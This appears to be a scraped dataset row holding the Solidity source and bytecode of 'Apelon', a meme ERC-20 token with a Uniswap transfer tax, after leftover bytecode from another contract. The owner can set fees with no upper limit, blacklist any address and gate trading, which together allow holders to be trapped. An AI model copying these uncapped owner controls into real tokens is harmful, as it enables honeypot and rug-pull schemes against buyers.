939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b039092166001600160a01b0319928316811790915560018054909216179055565b600082820183811015611b7a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316611bca5760405162461bcd60e51b81526004018080602001828103825260248152602001806123f66024913960400191505060405180910390fd5b6001600160a01b038216611c0f5760405162461bcd60e51b815260040180806020018281038252602281526020018061227d6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611cb65760405162461bcd60e51b81526004018080602001828103825260258152602001806123d16025913960400191505060405180910390fd5b6001600160a01b038216611cfb5760405162461bcd60e51b81526004018080602001828103825260238152602001806121fe6023913960400191505060405180910390fd5b611d06838383612157565b611d43816040518060600160405280602681526020016122cd602691396001600160a01b0386166000908152600260205260409020549190611e14565b6001600160a01b038085166000908152600260205260408082209390935590841681522054611d729082611b20565b6001600160a01b038316600090815260026020908152604080832084905560039091529020541015611dc4576001600160a01b0382166000908152600260209081526040808320546003909252909120555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008184841115611ea35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e68578181015183820152602001611e50565b50505050905090810190601f168015611e955780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082611eba57506000610b2b565b82820282848281611ec757fe5b0414611b7a5760405162461bcd60e51b81526004018080602001828103825260218152602001806123686021913960400191505060405180910390fd5b6000808211611f5a576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b818381611f6357fe5b049392505050565b600060026000611f7961118d565b6001600160a01b03166001600160a01b03168152602001908152602001600020548210611fd75760405162461bcd60e51b815260040180806020018281038252602b815260200180612314602b913960400191505060405180910390fd5b6120078260026000611fe761118d565b6001600160a01b03168152602081019190915260400160002054906120fa565b6002600061201361118d565b6001600160a01b039081168252602080830193909352604091820160009081209490945586168352600290915290205461204d9083611b20565b6001600160a01b03841660009081526002602090815260408083208490556003909152902054101561209f576001600160a01b0383166000908152600260209081526040808320546003909252909120555b826001600160a01b03166120b161118d565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350600192915050565b600082821115612151576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b505050565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928261219257600085556121d8565b82601f106121ab57805160ff19168380011785556121d8565b828001600101855582156121d8579182015b828111156121d85782518255916020019190600101906121bd565b506121e49291506121e8565b5090565b5b808211156121e457600081556001016121e956fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573736661756365743a20596f7520616c72656164792068617665206d696e696d756d20696e636865732c2074727920746f206d696e696e674f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573734f6821204974206973206e6f7420656e6f75676820746f20627579206576656e206120736d616c6c20706965636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365596f7520616c72656164792068617665205468652042696767657374206469636b4f707073212054686520676c6f62616c206d656e27732066756e6420697320616c6d6f737420656d707479596f75206e65656420746f2073656e6420736f6d6520657468657220746f2062757920696e63686573536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122007fe25d4214842cd596dfe431b703481140757e7dd1aefaa3c2fbc76685ef95264736f6c63430007060033 | {"success": true, "error": null, "results": {}} | 924 |
0xbeef79c9d897c523d197f38fa6c8692e6a0a8787 | /**
Will something happen between Musk and Ape? Welcome to the home of Apelon. You can play crazy on decentralized Twitter.
**/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Apelon is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Apelon";
string private constant _symbol = "APELON";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 6;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x4bC4f691ACEEc5e79C5e8F963a58DFF0c3F57548);
address payable private _marketingAddress = payable(0x4bC4f691ACEEc5e79C5e8F963a58DFF0c3F57548);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 100 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610553578063dd62ed3e14610573578063ea1644d5146105b9578063f2fde38b146105d957600080fd5b8063a2a957bb146104ce578063a9059cbb146104ee578063bfd792841461050e578063c3c8cd801461053e57600080fd5b80638f70ccf7116100d15780638f70ccf7146104495780638f9a55c01461046957806395d89b411461047f57806398a5c315146104ae57600080fd5b80637d1db4a5146103e85780637f2feddc146103fe5780638da5cb5b1461042b57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037e57806370a0823114610393578063715018a6146103b357806374010ece146103c857600080fd5b8063313ce5671461030257806349bd5a5e1461031e5780636b9990531461033e5780636d8aa8f81461035e57600080fd5b80631694505e116101ab5780631694505e1461026f57806318160ddd146102a757806323b872dd146102cc5780632fd689e3146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195d565b6105f9565b005b34801561020a57600080fd5b5060408051808201909152600681526520b832b637b760d11b60208201525b6040516102369190611a22565b60405180910390f35b34801561024b57600080fd5b5061025f61025a366004611a77565b610698565b6040519015158152602001610236565b34801561027b57600080fd5b5060145461028f906001600160a01b031681565b6040516001600160a01b039091168152602001610236565b3480156102b357600080fd5b50670de0b6b3a76400005b604051908152602001610236565b3480156102d857600080fd5b5061025f6102e7366004611aa3565b6106af565b3480156102f857600080fd5b506102be60185481565b34801561030e57600080fd5b5060405160098152602001610236565b34801561032a57600080fd5b5060155461028f906001600160a01b031681565b34801561034a57600080fd5b506101fc610359366004611ae4565b610718565b34801561036a57600080fd5b506101fc610379366004611b11565b610763565b34801561038a57600080fd5b506101fc6107ab565b34801561039f57600080fd5b506102be6103ae366004611ae4565b6107f6565b3480156103bf57600080fd5b506101fc610818565b3480156103d457600080fd5b506101fc6103e3366004611b2c565b61088c565b3480156103f457600080fd5b506102be60165481565b34801561040a57600080fd5b506102be610419366004611ae4565b60116020526000908152604090205481565b34801561043757600080fd5b506000546001600160a01b031661028f565b34801561045557600080fd5b506101fc610464366004611b11565b6108bb565b34801561047557600080fd5b506102be60175481565b34801561048b57600080fd5b5060408051808201909152600681526520a822a627a760d11b6020820152610229565b3480156104ba57600080fd5b506101fc6104c9366004611b2c565b610903565b3480156104da57600080fd5b506101fc6104e9366004611b45565b610932565b3480156104fa57600080fd5b5061025f610509366004611a77565b610970565b34801561051a57600080fd5b5061025f610529366004611ae4565b60106020526000908152604090205460ff1681565b34801561054a57600080fd5b506101fc61097d565b34801561055f57600080fd5b506101fc61056e366004611b77565b6109d1565b34801561057f57600080fd5b506102be61058e366004611bfb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c557600080fd5b506101fc6105d4366004611b2c565b610a72565b3480156105e557600080fd5b506101fc6105f4366004611ae4565b610aa1565b6000546001600160a01b0316331461062c5760405162461bcd60e51b815260040161062390611c34565b60405180910390fd5b60005b81518110156106945760016010600084848151811061065057610650611c69565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068c81611c95565b91505061062f565b5050565b60006106a5338484610b8b565b5060015b92915050565b60006106bc848484610caf565b61070e843361070985604051806060016040528060288152602001611daf602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111eb565b610b8b565b5060019392505050565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161062390611c34565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078d5760405162461bcd60e51b815260040161062390611c34565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e057506013546001600160a01b0316336001600160a01b0316145b6107e957600080fd5b476107f381611225565b50565b6001600160a01b0381166000908152600260205260408120546106a99061125f565b6000546001600160a01b031633146108425760405162461bcd60e51b815260040161062390611c34565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161062390611c34565b601655565b6000546001600160a01b031633146108e55760405162461bcd60e51b815260040161062390611c34565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092d5760405162461bcd60e51b815260040161062390611c34565b601855565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161062390611c34565b600893909355600a91909155600955600b55565b60006106a5338484610caf565b6012546001600160a01b0316336001600160a01b031614806109b257506013546001600160a01b0316336001600160a01b0316145b6109bb57600080fd5b60006109c6306107f6565b90506107f3816112e3565b6000546001600160a01b031633146109fb5760405162461bcd60e51b815260040161062390611c34565b60005b82811015610a6c578160056000868685818110610a1d57610a1d611c69565b9050602002016020810190610a329190611ae4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6481611c95565b9150506109fe565b50505050565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b815260040161062390611c34565b601755565b6000546001600160a01b03163314610acb5760405162461bcd60e51b815260040161062390611c34565b6001600160a01b038116610b305760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610623565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610623565b6001600160a01b038216610c4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610623565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610623565b6001600160a01b038216610d755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610623565b60008111610dd75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610623565b6000546001600160a01b03848116911614801590610e0357506000546001600160a01b03838116911614155b156110e457601554600160a01b900460ff16610e9c576000546001600160a01b03848116911614610e9c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610623565b601654811115610eee5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610623565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3057506001600160a01b03821660009081526010602052604090205460ff16155b610f885760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610623565b6015546001600160a01b0383811691161461100d5760175481610faa846107f6565b610fb49190611cb0565b1061100d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610623565b6000611018306107f6565b6018546016549192508210159082106110315760165491505b8080156110485750601554600160a81b900460ff16155b801561106257506015546001600160a01b03868116911614155b80156110775750601554600160b01b900460ff165b801561109c57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c157506001600160a01b03841660009081526005602052604090205460ff16155b156110e1576110cf826112e3565b4780156110df576110df47611225565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112657506001600160a01b03831660009081526005602052604090205460ff165b8061115857506015546001600160a01b0385811691161480159061115857506015546001600160a01b03848116911614155b15611165575060006111df565b6015546001600160a01b03858116911614801561119057506014546001600160a01b03848116911614155b156111a257600854600c55600954600d555b6015546001600160a01b0384811691161480156111cd57506014546001600160a01b03858116911614155b156111df57600a54600c55600b54600d555b610a6c8484848461146c565b6000818484111561120f5760405162461bcd60e51b81526004016106239190611a22565b50600061121c8486611cc8565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610694573d6000803e3d6000fd5b60006006548211156112c65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610623565b60006112d061149a565b90506112dc83826114bd565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132b5761132b611c69565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137f57600080fd5b505afa158015611393573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b79190611cdf565b816001815181106113ca576113ca611c69565b6001600160a01b0392831660209182029290920101526014546113f09130911684610b8b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611429908590600090869030904290600401611cfc565b600060405180830381600087803b15801561144357600080fd5b505af1158015611457573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611479576114796114ff565b61148484848461152d565b80610a6c57610a6c600e54600c55600f54600d55565b60008060006114a7611624565b90925090506114b682826114bd565b9250505090565b60006112dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611664565b600c5415801561150f5750600d54155b1561151657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153f87611692565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157190876116ef565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a09086611731565b6001600160a01b0389166000908152600260205260409020556115c281611790565b6115cc84836117da565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163f82826114bd565b82101561165b57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116855760405162461bcd60e51b81526004016106239190611a22565b50600061121c8486611d6d565b60008060008060008060008060006116af8a600c54600d546117fe565b92509250925060006116bf61149a565b905060008060006116d28e878787611853565b919e509c509a509598509396509194505050505091939550919395565b60006112dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111eb565b60008061173e8385611cb0565b9050838110156112dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610623565b600061179a61149a565b905060006117a883836118a3565b306000908152600260205260409020549091506117c59082611731565b30600090815260026020526040902055505050565b6006546117e790836116ef565b6006556007546117f79082611731565b6007555050565b6000808080611818606461181289896118a3565b906114bd565b9050600061182b60646118128a896118a3565b905060006118438261183d8b866116ef565b906116ef565b9992985090965090945050505050565b600080808061186288866118a3565b9050600061187088876118a3565b9050600061187e88886118a3565b905060006118908261183d86866116ef565b939b939a50919850919650505050505050565b6000826118b2575060006106a9565b60006118be8385611d8f565b9050826118cb8583611d6d565b146112dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610623565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f357600080fd5b803561195881611938565b919050565b6000602080838503121561197057600080fd5b823567ffffffffffffffff8082111561198857600080fd5b818501915085601f83011261199c57600080fd5b8135818111156119ae576119ae611922565b8060051b604051601f19603f830116810181811085821117156119d3576119d3611922565b6040529182528482019250838101850191888311156119f157600080fd5b938501935b82851015611a1657611a078561194d565b845293850193928501926119f6565b98975050505050505050565b600060208083528351808285015260005b81811015611a4f57858101830151858201604001528201611a33565b81811115611a61576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8a57600080fd5b8235611a9581611938565b946020939093013593505050565b600080600060608486031215611ab857600080fd5b8335611ac381611938565b92506020840135611ad381611938565b929592945050506040919091013590565b600060208284031215611af657600080fd5b81356112dc81611938565b8035801515811461195857600080fd5b600060208284031215611b2357600080fd5b6112dc82611b01565b600060208284031215611b3e57600080fd5b5035919050565b60008060008060808587031215611b5b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8c57600080fd5b833567ffffffffffffffff80821115611ba457600080fd5b818601915086601f830112611bb857600080fd5b813581811115611bc757600080fd5b8760208260051b8501011115611bdc57600080fd5b602092830195509350611bf29186019050611b01565b90509250925092565b60008060408385031215611c0e57600080fd5b8235611c1981611938565b91506020830135611c2981611938565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca957611ca9611c7f565b5060010190565b60008219821115611cc357611cc3611c7f565b500190565b6000828210